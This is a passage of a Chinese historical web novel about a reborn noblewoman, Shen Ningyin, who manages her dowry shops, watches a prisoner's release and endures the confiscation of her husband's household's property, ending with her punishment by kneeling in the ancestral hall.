16. 出狱
秦齐的事情，闵氏并不清楚。陶妈妈也不知自己的好心落了周婉的记恨。
周婉耽着如水夜凉将一行人送到了兰心居门口。
等夜色里的人影消失之后，周婉脸色瞬间变得阴沉愤恨，指甲掐进了掌肉，疼得钻心。
心里郁气无处发泄，周婉转头吩咐：“去！把那个没用的东西堵了嘴打死！”
又下了几日的雨，气温渐渐低了。
老夫人与闵氏每天都在忧心宫里的昌平侯，就免了晚辈的请安。
沈宁音乐得不去，就叫人拿着账目将嫁妆造册盘点，前世她就擅长打理，所以那些个田庄铺面什么赚钱，什么赔钱，几乎都能有个大概。
前世她来上京时，已经是几年之后，身边儿跟着的都是陪着她从姑苏、从外地，一路打熬上来的心腹，可这会儿，她身边能用的人极少。
不过，沈宁音倒是不担心的。她自信怎么差也不会比前世沈弦思差了。
沈弦思出嫁的时候嫁妆比她现如今还多，可等她来上京的时候，竟然只剩下了几处勉强维持的铺面。
大约就是因为这，沈弦思跟冷元景才盯上了她手里的财产。
这辈子，沈宁音也不指望琴瑟和鸣。哪怕孩子，能要就要，秦耀阳不给，那就不要。她犯不上学沈弦思去下药。
金山银山才是她作为嫡夫人的底气。
沈宁音没想到的是，前世自己高价盘下，经营得很红火的秀芳斋，此刻契书竟然就安安静静躺在自己的匣子里。
这种恍如隔世的感觉让她十分愉悦，可等沈宁音拿到账册的刹那。
她眉头越皱越紧。
“少夫人，怎么了？”染竹磨着墨，关切询问。
沈宁音就把账册推到了一边。
“去帮我看看，香油钱是个什么？”
染竹与一旁的兰香对视一眼，连忙去翻看，结果可想而知。
几乎所有本该赚钱却只能堪堪维持的铺面里，几乎都有这一项。
非但如此，一些不必要的开支，也都是各种奇怪的名目，只是那些都不及这“香油钱”罢了。
沈宁音越翻看脸越沉。
她倒是想起来一件事，姑苏阮家有个姑母是挂名在庵堂带发修行的居士。那姑母嫁的是个举人，只是命不好，早早守了寡，也没有孩子。
夫家嫌弃她商贾的身份，又怕她受不住寂寞偷汉子坏了家族的名誉，所以将她赶回了家。
那姑母也没再嫁，夫家回不去，娘家待着也不痛快，就去了庙里。
沈宁音盯着那些个账册神色发沉。
兰香喊了好几声，她方从思忖里回神。看过去的时候兰香拿着些契书推到她面前，嗫嚅着开口：“少夫人，这几处铺面，还没拿到账册……”
沈宁音眉头微抬：“怎么？”
染竹看兰香红了眼要说不说的，就接过话道：“有什么不好说的，我来说。”
染竹望向沈宁音道：“少夫人，这起子账房掌柜的大多是当初侍郎府挑出来的人，平日里就瞧不上咱们。这会儿欺咱们是内宅妇人，又仗着咱们不懂，想为难咱们。”
沈宁音皱眉：“就凭他们？”
兰香眼睛还有点红，连忙开口劝：“少夫人，这点气不算什么，可千万别开罪了那些人……”
不算什么？沈宁音有些惊讶，但下细一想，也明白了，跟前些年在侍郎府里受的窝囊气比，这的确算不得什么。
掌柜们再怎么拿乔，也顶多是推诿、拖沓上一阵，想贪下财物的心是没有的。霸占主子的产业，告上官府也够他们给打死几十回了。
沈宁音顺手去绣篓子里拿帕子，却摸了一个空。
里头原本放着的另一条海棠花帕子果然被秦耀阳拿走了。
男人这方面做事竟还挺细心的。
沈宁音另找了一条，给兰香擦了眼泪，声音温柔：“那都是从前了，往后，咱们不受那个气。”
兰香与染竹都抬头看着她，目光里除了高兴，更多的是惊讶。沈宁音一双眼眸微弯，笑得淡然又坚定：“今儿起，都给我把腰杆挺直了。”
“除非我乐意，否则，谁也别想从我这儿贪一个铜钱。”
染竹有些担忧，兰香倒是高兴，沈宁音从私房里头拿出些银子，叫她们拿戥子称了拿去买酥酪和甜糕。
再顺手挑了几处铺子直接发出榜文去卖。
倒也不是她不想全部解决，委实是暂时抽不出空来。
沈宁音嫁来秦家是要拜宗祠的，秦家虽不是百年世家，但当朝重孝道，宗祠与传承依然是很要紧的。
要拜宗祠，昌平侯定要在场的。
好在没让沈宁音等太久，青衣胡同陈家先来了消息——陈大人并没有辜负沈宁音的期待，成功抓获了一个反贼头领，信里说的，地位还不低。
那人警觉，几个手下人拼了一死护着妻儿逃走，只抓着他一个。但这分量也足够让宫里运作一番放那副使出来。
沈宁音将信放到蜡烛上点了，扔进炭盆里。
“染竹，更衣。咱们出去一趟。”
秋日的天气，今儿出了太阳，不冷不热的。
风一吹，上京诏狱的门口就有稀疏的树影子随风摇曳，沙沙的声音，会给人带来安宁。
诏狱门口停下个四人抬的软轿，轿夫们龙行虎步，杀气十足，男人们本就凶神恶煞，又是在诏狱这种十成十煞气的阎罗殿，百姓们连看都不敢看上一眼。
一身壮硕肌肉的轿夫半点也不似寻常卖力气的人，其中一人恭恭敬敬地掀开帘子，轿头下压，一个头发花白的中年男人从里头钻了出来。
凑近的时候，掀帘的轿夫低声禀告：“督公，巷口有个马车，要不要处置了？”
那中年男人微微侧头，看着车上挂着的象征昌平侯府的灯笼，冷声道：“不妨事，也叫他们擦亮眼睛看看，我薛岩的干儿子是怎么好好儿地从诏狱里头走出来的。叫他们从今往后都不敢再招惹！”
薛岩一甩袖，将手背在了身后。
不多时，黑洞洞的诏狱门口有脚步声传出来，薛岩抻长了脖子往里头盼。
沈宁音此刻也坐在马车上，微掀帘子觑着，发现那边的人都看向里面，她就知道是有人出来了。
极大可能就是那副使。
“少夫人，要上前去么？”染竹在窗口紧张询问。
“先不用。”沈宁音也很紧张，她能感觉到手指隔着袖子掐在掌心。她倒是不觉得自个儿的筹谋会有什么变数。
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皇城里头那位圣人的确多疑又残暴，可昌平侯祖上也实打实地替他出生入死过，他可以把手底下的人往死里折腾，更可以顺水推舟弄掉昌平侯在军队里的实权。唯独会留下昌平侯一条命。
昌平侯秦家最出色的子孙死在了战场上，留下一个不成器的玩意儿，二十多岁一事无成，只靠着祖荫庇护，秦侯爷活着会比死了更有用。
皇城司是圣人的亲军，是他的刀，圣人只缺个台阶而已。
沈宁音唯一担心的，就是那副使在诏狱被弄得太惨。
薛岩将来能为了他干儿子□□，难保将来突然想起此事，再狠狠报复侯府、再连累到自己。
阳光突然明亮起来，连风都不知不觉停了。
沈宁音一时将手里的帘子松脱，等她再撩开时，整个人从头到脚，遍体生寒。
但见诏狱门口，高大的男人已经走入了阳光里。
薛岩倒吸了一口凉气，整个人不受控制地颤抖起来，他走上前：“岚儿……”
一旁的轿夫连忙上前扶着他。
薛岚见状也赶了两步，薛岩握住了他的手，老泪纵横：“他们！这群胆大包天的畜生，咱家要剐了他们！”
“干爹！”薛岚连忙扶着激动得摇摇欲坠的薛岩。
此时此刻，薛岚身上的囚衣已经看不出底色，干涸的血液凝固成黑色，新鲜的部分也是暗红的。半片面具没遮住的部分，有好几道划痕，没缠着绷带，看起来分外吓人。
马车里的沈宁音脸都白了，这是要结仇的！她攥紧帕子，思忖着办法。
另一边，隔得远，薛岚正同薛岩说着话儿：“干爹，我没事。”
薛岩一双阴鸷的眼睛看向黑洞洞的诏狱大门：“伤成这样，还说没事？”
薛岚凑近些，小声解释：“都是别人的血。”
薛岩一愣，将才心里激动没仔细看，如今好生打量，果然发现了端倪。
薛岩哼了一声，笑骂：“你可真能叫咱家揪心。这么些日子，也不曾递出来个消息，宫里头也很不安生……”
他说着说着，擦起眼泪来。
薛岚老实了，他最见不得这老头哭，连忙哄：“干爹放心，我什么都能应付。”
薛岩平复下心情，叹了口气，抽出匕首：“快把你脸上的血布条摘了罢。这点小伎俩，便只为了卖个惨，也是不够的。”
薛岚愣怔的同时，薛岩开口吩咐：“去，把巷口昌平侯府的马车撵了。”与此同时，他扯下干儿子脸上的布条，抬手就把匕首划了下去。
鲜血汩汩流出，将薛岚那丰神俊朗的脸颊染得血红。
薛岩是宫里浮沉多年的老人了，手法极好，刀刀见血，又不伤太深。
两刀之后，他握住了薛岚的面具。
此时此刻四周没有别人，只有他二人。
在他使力之前，薛岚瞳孔骤缩，抗拒地握住了他拿匕首的手腕。
“干爹？你做什么？”薛岚一双眼睛里全是疑惑。
概因眼前的老太监从来都告诫自己不可摘下面具，可此时此刻，他竟然亲手要打破这个规矩。
薛岩没有理会他，一个用力。
那半片面具就掉在了地上，发出清晰的脆响来。
17. 麻烦
面具碎了，薛岚血淋淋的脸庞完整地展现出来，他的骨象极美，镌刻其中的，是透体而出的冷峻锋锐，原本冷白的皮肤因为失血而更加雪白，眼角眉梢都染着从无数鲜血里带出的凶戾与霸道。
唯有右边靠近眼角的脸上用墨色刺着字，漆黑的墨色形成一个死字。
薛岩的手碰上去，薛岚本能地想躲，似有什么不堪的记忆浮现萦绕，薛岚的身子紧绷着，拳头死死攥紧。
心下叹息，薛岩轻声道：“岚儿，莫怕，莫怕，咱们一条心。是时候了，你要活在阳光下。”他苍老的声音说着这样的话，咬了咬牙，抬起手里的匕首，当先划了下去……
马车已经走了好几条街，沈宁音坐在车里，心情十分复杂。
她原以为自己重生换了亲事，就能凭借前世的记忆轻松改变所有，可现实狠狠给了她一个教训。
这辈子虽然昌平侯不会似前世一样失去所有实权，可失去权利，大不了像前世一样成为边缘，闲散度日。
而现在侯府得罪了薛岩，这个老疯子上辈子因为干儿子的死，几乎杀了圣朝半壁江山。
那副使大人在诏狱里被折磨得不成人形，只怕一个不好侯府被清算就要鸡犬不宁。
“少夫人，到了。”兰香的声音将她思绪打断。沈宁音才发现已至侯府角门。
将将下车，斜刺里就冲出来一个人。
沈宁音还没反应过来，跟车的家丁就把人给拿住。
男人的哀叫声里，传来旁边女子的惊慌呼喊：“快住手！”
沈宁音定睛一看，陈青霜跑了上来，泫然欲泣：“沈姐姐，是我不好，可你也不能拿家兄撒气啊，你快放了他。”
低头瞧过去，沈宁音果然见那陈守岳脸色难看地瞪了过来。
沈宁音心情本就不好，此刻也不想与他们多磨叽，挥了挥手叫人放开了他。
陈青霜连忙扶住了她哥。
沈宁音干脆站在原地，貌似好脾气地直接问：“有事么？”
大有一副说完事儿就要当场逐客恕不接待的架势，奈何陈青霜装作不知，陈守岳又真的不懂。
陈青霜脸上堆着笑：“沈姐姐，那天是我不好，我不该不打招呼就带了哥哥来去见你……”
沈宁音打断她：“那你今日来所为何事？”
陈青霜连忙道：“今天是来拜见的。”她掏出了拜帖，拜帖有个褶皱，显然被人摔打过。
陈青霜委委屈屈的，漂亮的眼睛里蓄满了泪，仿佛随时都可能掉下来，她强忍着，微启红唇：“我递了帖子，里头的嬷嬷说你不在，不让我们进去……”
“……”沈宁音想起来了，上次之后，她的确吩咐过陈青霜上门务必拦着，她不想见，看来自己身边儿的那些个侍郎府里带来的人，也还有些用处的。
“父亲说，让四哥一并过来道歉的……”陈青霜生怕沈宁音误会，连忙开口解释。
沈宁音心里有些不悦，但陈大人既然是叫人拿着拜帖来的，倒也没坏了什么规矩。
只是一码归一码，陈大人虽帮了忙，但也不是没拿着好处，捉拿乱党的功绩是实打实的政绩，也是他升迁的临门一脚。
沈宁音不会拂了他的面子将陈青霜跟陈守岳赶走，但她这会儿也并不想接待他们。
沈宁音转身就往里头去，身后陈青霜连忙跟上，陈守岳盯着沈宁音的背影冷哼了一声也很不情愿地跟在了后面。
刚踏进门口，陈氏兄妹就被拦下了。
陈守岳瞪了那些仆从一眼：“沈宁音，你什么意思？还不快让这些奴才让开！”
沈宁音转身看向他二人，笑容不达眼底，看起来却照旧似拂面春风般温柔端方：“啊，是这样的，妹妹和陈三公子既是来侯府递的拜帖，男客自然要世子点头才行，你们再等等吧。”
“等到什么时候！？”陈守岳猝不及防听到这，连忙伸手扒住了门框。陈青霜也是一脸的错愕。
沈宁音的话轻飘飘地落在他们耳朵边儿：“等到世子回来。”
陈守岳看着她慢悠悠走远，这下顾不得倚仗着她的“喜欢”了，心慌得不行：“那他什么时候回来？”
沈宁音和一群仆从都走远了。
风吹过，身上凉，心里也凉，陈青霜从没想过有一天，那么疼自己的沈家姐姐竟然会这样冷淡的对自己。
陈青霜想，自己不是已经道歉了么？她凭什么不原谅自己？凭什么不继续对自己好？
陈青霜捏紧了帕子，眼睛酸酸的，心里也恨恨的。
他们被拦在外头许久，外头的行人并府门的下人指指点点品头论足的，尤其陈青霜还是个未出阁的姑娘家，她哪里吃过这样的委屈。
眼泪大颗大颗往下砸。
“哭什么哭？就知道哭！”陈守岳捋起袖子：“她不过是因为对小爷爱而不得，才故意冷落咱们，想惹了小爷的注意。不出一刻钟，她定然叫人请咱们进去！”
“……”陈青霜看着他，眼泪流得更凶了。
沈宁音回祁秀院小憩，也没心思用饭，就吃了些糕点。
那糕点甜而不腻，好克化，有浅浅的玫瑰香，沈宁音吃了两个，忽然就想起了桃花酥。同样是花香，桃花酥更清甜，更合口味。
她掏出帕子擦净了手，琢磨着副使都放出来了，她那位公爹应该也快回来了。无论如何，将来的事情将来再说，眼下闵氏答应给自己的那桃花庄子可不能飞了。
正思忖着先去老夫人处探探口风，沈宁音就听见外头小丫鬟喊着：“二少夫人，二爷回来了。”
沈宁音有些意外，平日里秦耀阳总要等到天擦黑才会回府，今儿竟然这么早回来了。
她起身整理好裙裾与妆容，一面往外走，一面听前来禀告的小丫鬟开口道：“二少夫人，二爷领着客人上客厅去了。”
沈宁音脚步一顿：“客人？”
小丫鬟眉毛弯弯，样子讨喜，笑着道：“二爷说了，客人等了太久，让你拿些好茶去。”
这下沈宁音也不必怀疑了
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，秦耀阳领进来的不是别人，是那陈氏兄妹。
沈宁音眉头微皱了皱眉，语气平静地吩咐染竹与兰香把那一斤老君眉抓些出来，又把刚进的那些个酥酪、糕点、甜品、瓜子都拿出来。
兰香很不开心，她最不喜那位陈五小姐，但她不是个多嘴的，转身就去办事儿了。
沈宁音心下叹息，也有些气，倒不是在意这些个零嘴儿，只是自己半点不想沾惹上的人，偏秦耀阳把人当宝似的迎进来。
她几乎能想象得到，陈氏兄妹还得打着拜访自个儿的名义来。
兰香与染竹手脚很麻利，很快就把东西整治好了端上去。
沈宁音进客厅，撩开垂花帘子，就听着几人在里头聊得很是和谐。
她绕过翠竹屏风，看见秦耀阳坐在上首，与陈守岳正说着刀枪棍法。而陈青霜则坐在一旁的椅子上，目光正定定地看向秦耀阳。
“咳。”沈宁音咳嗽了一下。
屋子内的三人都看了过来，秦耀阳当即起身迎了上来：“宁音，快坐。”看得出来男人今天心情极好，眉梢眼角染着喜悦。竟亲自过来扶她。
“世子。”沈宁音也笑得温婉。
等她落了座，秦耀阳道：“你就是太重规矩了，以后若是有客，你也不必问我的意思，你安排了就成。”
陈氏师兄妹听着这话，看向沈宁音的表情各又有不相同的复杂。
陈守岳原本对沈宁音的怒气与怨怼，此刻也收敛了许多。而陈青霜眼里的羡慕与嫉妒实在叫她无法忽视。
沈宁音心下叹了一息。她晾着那两兄妹，是想叫他们知难而退。
陈家那样的人家，又是用得着的，这兄妹二人但凡碰了个软钉子，回去之后陈大人便能知道沈宁音的意思，将来必不可能再叫这二人过府。
可如今秦耀阳这么一来，只怕以后是少不了麻烦了。
陈氏兄妹在侯府聊了许久，再加上陈青霜大多数时候都竖着耳朵去听男人们说话，沈宁音也懒得自讨没趣，干脆也陪着吃瓜子喝茶。
等人送走，她已经坐得有些乏累。
秦耀阳与她并肩子往祁秀院走，沈宁音心里蔫蔫的，只想快些睡觉，她估摸着今儿天晚，圣人怕是没那么快放人的，等养精蓄锐，明天好去接公爹，该拿的好处方能拿到手里攥好。
但，沈宁音没料到还没踏进院子，秦耀阳就拉着她的手，语气高兴又有几分激动地小声言语：“宁音！父亲救出来了！”
沈宁音有些发木的脑袋瞬间清醒了几分，她眼眸微微瞠大：“当真？”
见她要去处置，秦耀阳连忙拦住她：“圣人松了口，父亲还在宫里，明儿应该就能叫人送回来了！”
沈宁音也很高兴，该说不说，在这个世道，公爹的权势也是个好事，他能回来就意味着将来的事情能有更多解决的法子。
“那，宫里怎么说的？”她问的当然是指圣人对侯府的处置。
依着圣人往日的惯例，不可能平白直接放过的。
18. 抄家
秦耀阳本也不是个有本事的，沈宁音没问出来什么。
忐忑的心思一直持续到第二天，昌平侯回来的时候沈宁音悬着的心终于是落了地。
府门口一群人盼着，天上下着些淅淅沥沥的雨。一个穿着七品内侍服的太监提着拂尘将人送回来的。这内侍皮笑肉不笑的，面对侯夫人闵氏的红包，他径直避过了。
见着这一幕，所有人心里都咯噔一下。
昌平侯脸色带着多日来担惊受怕的憔悴，下车时腿都在哆嗦。
老夫人与闵氏赶紧迎上去扶了，秦耀阳也红了眼睛。
沈宁音此番虽不知事态的走向，但她前世的眼力见还在，光看这压抑的氛围就知没这么简单。
果然，不一会儿巷子那头就涌过来一群身穿银色软甲的御林军。
秦耀阳哪里见过这阵仗，当先白了脸色，脚步一挪就站到了闵氏身后去。
沈宁音眉头轻蹙，但很快就顾不上秦耀阳了，她瞳孔微缩，目光落在了御林军前站定的那人。
男人头发梳理得一丝不苟，统统归拢在黑色纱质朝天幞头内，整张脸上戴着漆黑森然的面具，独露着一双眼睛。
沈宁音总觉得这双眼睛像是在哪儿见过，可是偏又透着她无法忽视的狠绝与凶戾。
沈宁音有些不敢认，她没见过这样的冷漠又恣睢的眼神，像是亘古雪原上最凶猛的狼，随时准备着将所有活物拖进深渊。
“使司大人。”是尖利讨好的声音，将才还一副盛气凌人不肯收礼的太监此刻低眉顺眼地同那男人见礼。
“嗯。”男人的声音很轻，鹰隼一般的目光蓦地扫视侯府门前众人。
沈宁音只觉一股子危机感悚然漫向四肢百骸。
不是错觉！沈宁音两世为人，很肯定那位使司大人的目光在场梭巡之际，于自己脸上多停留了半息。杀气几乎直指自己。
薛岚收摄心神，从袖中抽出了明黄色圣旨。
“昌平侯接旨。”
宣旨的声音冷淡阴沉，毫无情分可言。
沈宁音跟着所有人跪了下去，脑子里乱糟糟的，她自问自己没有做过什么惹外头人忌讳之事，也不可能有那个胆子去得罪这种实权人物。也不知为何会从他眼里察觉出杀意来。
听到圣人要查抄一大笔侯府财物，这几乎要掏空了昌平侯公中几十年的积攒，闵氏脸都白了，老夫人直接晕了过去。
圣人要将罪罚，要拟旨意，尤其是对老臣工，那必定是一早就定下的，宣旨不过是走个流程罢了。沈宁音深知道这一点，所以闵氏叫她去下跪求情，她直接无视。
闵氏气得咬牙切齿。
接下来，一起子凶神恶煞的御林军横冲直撞往里头去，无一人胆敢阻拦。
门口的主子们个个都忧心忡忡着，沈宁音无奈地发现，老夫人一倒，整个昌平侯府竟没一个主心骨。
沈宁音强撑着冷静下来，招呼染竹与兰香，就匆忙往里头去。
库房门口，所有仆从猝不及防瞧见那些个御林军，那些人要上去搬财物，可没有对牌也没吩咐，无人敢上前打开门。
有军兵就往库房使力猛踢，把个门踢得摇晃，巨大的声音直接吓昏了几个。
昌平侯府的库房用的是上好的铁木，墙也磊得厚重，很难撞开。眼瞧着那些人拔出刀要去砍房门。
“慢着。”沈宁音提着裙摆赶过去。
天井中央，薛岚面具下的眉头紧皱，目光复杂地看向她。
“锵——”长刀被他不疾不徐地抽出，薛岚紧紧捏着刀柄，声音低沉，似嘲似讽：“你要抗旨？”
沈宁音袖子里的手指颤了颤，稳住了沉稳的声线：“自然不是。”
她举步上前：“这锁头是陨铁锻成，不锈不腐，想破门可不容易。”
沈宁音话罢看向守府库的婆子吩咐：“去拿钥匙。”
那婆子惨白着一张脸，看着薛岚手里的刀，声音直哆嗦：“二少夫人，钥匙在老夫人处……”
沈宁音蹙眉，拔高了声音：“那就去松鹤堂拿！”看她犹犹豫豫不敢去，沈宁音补了一句：“等老夫人醒，什么事有我担着。”
做下人的最不敢担责，越是富贵的人家越甚。沈宁音一句话，便消了众人顾虑。
找着了主心骨，仆从们松了口气之余就麻利地去办事了。
薛岚的眸子还有些血丝，忍不住又多看了女人一眼。
女子分明是初嫁，方才几日，驱策着侯府的下人如臂使指。倒像是个老练的主母。
沈宁音比旁人敏锐，瞬间就感知到了男人的目光。她笑着冲他点点头：“使司大人。”
薛岚没有表示，眼神比面具更冷，寻常人但凡遇着这等情况，就该识趣地闭嘴的，可沈宁音不同。
她盯着薛岚的眼睛毫无退避，薛岚握着刀柄的手略转，又攥紧了几分。
“大人与妾身可有什么误会？”
薛岚听着她的声音，心脏里的杀意汩汩流泻。
他不说话，沈宁音却从他神色里捕捉到了端倪，她定是在什么事儿里得罪死了他。
“薛大人？”她试探地开口。
“少套近乎！”一个御林军上前一步，横刀呵斥。
沈宁音就懂了，先前只是猜测，如今坐实了他就是之前那位副使大人。
可沈宁音更迷茫了，那日在婚宴之上，自己也没如何，他即便在诏狱里受了刑罚，也不该算在自己头上啊！
百思不得其解之际，婆子拿着钥匙回来了。
薛岚不再看她一眼，一声令下，御林军鱼贯而入，库房里的财物，一箱接着一箱往院子里搬。
沈宁音抿了抿唇，又叫人拿来了库房的册子，如此一来，薛岚便要抄没家资，也可按着册子来，侯府免了被打砸，御林军也省了事儿。
沈宁音的态度说不出的好，却也远着这尊杀神，唯怕一个不小心这薛岚是会直接砍杀的。
等一切事了，已经是傍晚时分。
所有人的巴望下，薛岚走了。御林军押着大批财物往宫里去。
“使司大人，那边。”扈从朝着路边一架马车指，薛岚皱眉，走了过去。
马车车帘色浅，从里头掀开来，有浓郁的香粉味。
“薛岚。”女子清亮的声音从里头传出来。
薛岚站在车边没动：“郡主，臣有公务。”
清河郡主索性将帘子捞起来，车中露出张脂光粉艳的面容来：“薛岚，你什么意思？生气也不能这般过分吧！”<
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“你不肯见我，还等着本郡主亲自过来同你道歉？”
薛岚的手背在身后，面具遮挡，瞧不清表情，连声音都听不出悲喜：“郡主不必如此。”
清河压柳眉扬起，咬着牙：“你我认识几年，我也就这一回没同你交代。”
“昌平侯因着长子之死，能掌军十年，他没这个本事，原就该把位置让出来了。”
看他毫无反应，甚至不看自己，清河拔高了音量：“你这般态度！你可知你把人割了舌头砍了手送来差点儿吓死本郡主！”
薛岚站在车外，根本不接话，周遭只有清河愤怒的声音。无论是仆从，还是军兵，众人哪里敢有响动，统统都当没听见，生怕被牵连。
清河一双粉面气得通红，薛岚从来都对自己极好，连圣人都有听闻，唯独这一次，他忤逆得彻底。
“你能坐上使司之位，都是因为我！”清河郡主大喊一声。
这下，薛岚终于将目光落回了她脸上，眼神与声音皆冷得像冰：“那么郡主殿下大可以禀告上去，叫圣人撤了我的职。”
他说完，一拂衣摆，转身便走。
“我不是那个意思……”清河郡主在话方出口之际就意识到自己说错话了。
可薛岚走得很快，她踹了仆从一脚，要坐车追上去，可薛岚财物也不押了，直接离去。
“郡主，您何苦这般激他？您明知道薛大人能做到这位子是因着脸上伤得厉害，圣人又念着他干爹的情分……想来圣上是要重用的。”
清河郡主咬着唇，眼睛都红了：“我哪里知道他这次会如此计较？”
想到这些年薛岚对自己的百依百顺，清河就觉着委屈。她愤愤钻回马车：“回府！”
昌平侯府，时至傍晚，老夫人才悠悠醒转。
她一醒，就想起事儿来，忙抓着昌平侯询问：“怎么样？那些御林军可有做出什么孽来？有没有对你如何？”
昌平侯被她抓得紧，也顾不上憔悴，忙道：“母亲，母亲，没事了。他们已经走了。”
昌平侯又略说了两句圣人对侯府的惩戒。
听到只罚了财物，老夫人松了口气：“这样就好，些许银钱，不打紧的。”
闵氏眼角抽了抽：“婆母！那可不是些许银钱的事儿！”
沈宁音看了过去，秦耀阳也连忙去拉。
但闵氏实在忍不了了：“咱们府库里的东西都给搬空了！”
她这话一出口，老夫人眼睛一阵发黑。
柳郎中还没走，连忙又上去给她治疗。
“都怪你！说这些作甚？母亲气出个好歹来你就满意了？！”昌平侯狠狠地瞪着闵氏。
闵氏被吼得一哆嗦，可他心里极不甘心。
“你怪我做什么？！”闵氏抬手就指向了沈宁音：“要怪就怪她！真真是个搅家精，还领着人来抄自己夫家！”
“咱们府里若是败落，第一个就不饶你！”
闵氏走过去拉着秦耀阳，带着哭腔道：“你瞧你娶回来个什么祸根！”
秦耀阳闻言，脸色也不好，他皱紧眉头望向了沈宁音。
沈宁音站在那儿，身子挺直，默默听着，目光里没有半点闪躲，毫无退缩地看向自己的夫君。
19. 罚跪
沈宁音不说话也不解释，秦耀阳以为她在置气，但看着她袖子下露出的缠满布条的伤，又抿住了唇。
秦耀阳的沉默叫闵氏看在眼里，更讨厌沈宁音了。
“祖母！母亲！”这时，门外传来凄厉的哭喊。
老夫人刚恢复意识，便听着窗外传进来的声音：“婉儿？”
“祖母！”一个呼吸之后，周婉就跌跌撞撞从垂花门疾步进来了。
沈宁音抬眼瞧过去时，老夫人身边另一位老嬷嬷已经上前将人扶住了。
周婉哭得梨花带雨，委屈得红肿了眼睛，兔儿似的。再加上最近不得意，眉梢眼角的清愁将人衬得更加可怜楚楚。
站在一旁的秦耀阳多日没见她，如今瞧着她哭成泪人儿，眼底的心疼怎么都化不开去。
他想上前扶着人，可昌平侯适时开了腔：“怎么回事？”
昌平侯一说话，秦耀阳清醒过来，顿时不敢越雷池半步。
沈宁音瞧在眼里，想起前世自己了解到的情况，秦耀阳原该是个富贵公子，秦家有个惊才绝艳的世子爷，上得战场又能诗擅文的。所以根本没秦耀阳什么事儿。
可惜天妒英才，秦耀阳十五岁时大哥意外死在战场，没想到最后，所有的压力都转移到了他身上，昌平侯开始着力培养他的时候，他已经做了十五年的纨绔。昌平侯左看右看怎么都看他不顺眼，不是责打就是口头贬低。
秦耀阳很怕昌平侯，但凡他爹在场的时候，秦耀阳规矩得像个鹌鹑。
这会儿周婉跪在地上，又委屈又可怜，抽泣着控诉今日贼人的暴行。
刚听着有陌生贼人，闵氏立时皱紧了眉：“怎么回事？怎么会有男子去了你兰心居？他们可有对你……”
周婉是个寡妇，作为后宅主母，闵氏比旁人思虑得多些，也更在意侯府脸面。
所有人的目光都落在了周婉脸上，看得她桃腮粉面尴尬得发红，连忙道：“没有！他们只是来兰心居抢了东西！”
闵氏明显地松了口气：“那就好。”周婉没料到她是这样的反应，脸色一阵失望。
沈宁音一下子就反应了过来。周婉前两日因犯错禁了足，再加上她受了惊吓，这次迎昌平侯她并不在列，所以御林军来抄家之事她不知情。
周婉原以为自个儿会得着安慰，往日里但凡遇到什么受委屈的事情，闵氏与老夫人定会安抚自己，可闵氏问完话，竟沉默了。
周婉觉着更委屈了，她转头看向老夫人。
“好了，你先下去，今儿有够乱的。”昌平侯开了口。
沈宁音看了一眼此刻屋内的状况，也上前几步：“大嫂，我送你回去。”
周婉哪里肯走，咬着牙冲坐起来的老夫人继续道：“祖母！有人闯到我这儿来要东西，我不肯，他们就打伤了院儿里的丫鬟！求祖母给婉儿做主！祖母！我好些景瓷都被搬走了！”
景瓷贵重，多是从库房拿过去做摆件的。这是哪壶不开提哪壶，闵氏原想着漏搬了的，到时候归拢过来兴许还能顶一些花用。
老夫人听了周婉的控诉沉默了许久。
周婉却连忙叫被打的丫鬟进来给人瞧。
小丫鬟战战兢兢的，额头上磕破了一块，血已经止住了，那包扎的布条解开，有些严重。
沈宁音看着那伤，倒不像是给打的，像是被推了撞桌角上的，看着小丫鬟躲躲闪闪的神色和觑着周婉时经不住畏惧的眼神，沈宁音皱起了眉。
“伤了就伤了，用些药养着就是。”老夫人挥了挥手，满脸的疲惫。
周婉整个人都惊住了。
往日里她但凡受点什么委屈，若无损失，定是要给些赏赐安抚着；若有损失的，那也是好几倍的补偿，可这一次，闵氏很沉默，连最向着自己的老夫人都这样轻轻放下了？
“祖母？”周婉往前挪。闵氏冲陶妈妈吩咐：“还不把你们大少夫人扶起来。”
周婉过去拉着老夫人的手：“祖母，怎么能就这样算了？”
“不算了能怎样？”闵氏脸色又气又懊恼。
扶着周婉的陶妈妈方道：“那是御林军，来抄家的。”
这时，一直站在旁边思索着什么的秦耀阳突然抬头：“为什么御林军会去兰心居？”
在场众人此刻都回过神来，因为除了兰心居，没有别的院子被牵连！
闵氏皱眉：“这次咱们家是罚银，御林军定然是先搬府库，再就是罚俸禄银又或者给出不足部分的条呈来！”
按着圣朝罚没家产的流程，的确不该如此。
周婉哭哭啼啼，而秦耀阳的目光第一个落到了沈宁音的脸上。
这次抄罚财物，众人里头唯独一个沈宁音去了库房。沈宁音也知自己推拖不得，当即抬头：“是，是我将账目单册交给了那位使司大人。想是他领着人去抄的。”
沈宁音满脸歉意，情绪却不达眼底。
周婉新仇旧恨，当即目光阴毒地回望她，沈宁音也不着急，低着头服软：“都是我不好，我不知大嫂竟遇了这等祸事。”
周婉恨得牙痒，当下扑到床前哭。哭得肝肠寸断，老夫人只觉得脑仁儿疼，被闹得眼前一阵阵发黑，想呵斥又说不出话来。
旁边儿的闵氏先怒了：“你看你！闹得家宅不宁！若不是你自作主张，哪里会有这么多事情！”又指着秦耀阳的鼻子叱道：“亏你还一直护着她，如今你还护不护了？！”
秦耀阳沉默片刻，抬起头来：“来人！把二少夫人拿下！”
床上的老夫人闻言，睁开浑浊的眼睛，想看又看不分明，她有些着急，张着嘴想阻止，奈何手堪堪抬起来就给周婉握住了。
“祖母！别生气了，我相信二弟妹定然不是故意……”
老夫人喘了两声，又彻底陷入了昏迷。
没有月亮的夜，冷得凄清。
窗外的星子被云翳遮蔽，只偶尔露出点点羞怯的光晕。
祠堂的烛火上套着防风的纱罩，但人身上可并没有。
秋日里昼夜温差极大，沈宁音跪在影绰绰的祠堂内，面前是秦家的列祖列宗，阴森森的堂屋，连凉风都似带着点黏腻的潮。
沈宁音拢了拢身上的薄裳，当年在冷家老宅时，这样的罚跪简直是家常便饭，她早就习惯了。
但叫她心冷的，是秦耀阳亲自开的口，把她罚来这祠堂跪。沈宁音并非因着夫君心疼他的小姘头，也不是因
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着那薄情的男人捂不热，实在是心冷这不做事儿的人糊涂到这地步，做事儿的人反倒遭了罪罚。
眼盲心瞎也不过如此，这样的人，沈宁音懒得与他们分说，一个字都是浪费。
夜色寒凉，外头敲响了三更天，沈宁音冻得抱住了胳膊，没有人来，染竹与兰香没有送衣裳过来。两个丫鬟最贴心，若非有人拦阻，她们怕是早就来了。
